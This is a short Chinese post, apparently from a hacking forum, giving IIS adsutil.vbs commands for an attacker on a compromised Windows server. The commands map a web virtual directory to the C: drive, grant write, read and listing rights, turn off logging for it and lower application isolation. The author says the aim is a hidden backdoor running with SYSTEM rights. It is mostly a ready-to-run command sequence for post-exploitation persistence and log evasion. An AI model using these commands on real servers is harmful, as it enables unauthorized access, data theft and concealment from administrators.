以下是丑要饭的<web数据分离>    web 和 数据分离,有Pcanywhere,数据库服务器有 IIS, cscript.exe c:\inetpub\adminscripts\adsutil.vbs get w3svc/1/serverbindings 得到第一个Web服务的端口 cscript.exe c:\inetpub\adminscripts\adsutil.vbs create w3svc/1/root/wodexi/ IisWebVirtualDir创建一个虚拟目录wodexi cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/1/root/wodexi/path c:\ 设置路径 cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/1/root/wodexi/accesswrite 1设置写权限 cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/1/root/wodexi/accessread 1设置读权限 cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/1/root/wodexi/enabledirbrowsing 1可列目录权限 cscript.exe c:\inetpub\adminscripts\adsutil.vbs start _ server w3svc/1 启动1号Web服务 在IE网址上写http://IP/wodexi/ 呵呵出现了目录！ 我补充了下: cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/1/root/wodexi/DontLog 1  不设置日志   本来是打算写个BAT建立2K下的具有system权限的隐藏虚拟后门的,不过在测试的时候发现CMD下建立的虚拟目录和Internet 信息服务里建立虚拟目录不同,建立的虚拟目录没法执行ADMIN命令.   有兴趣的朋友可以自己测试: cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/1/root/wodexi/AppIsolated 0  修改虚拟目录wodexi的应用程序保护为"低"  AppIsolated 还有另外2个参数 1：保护为“中” 2：保护为“高”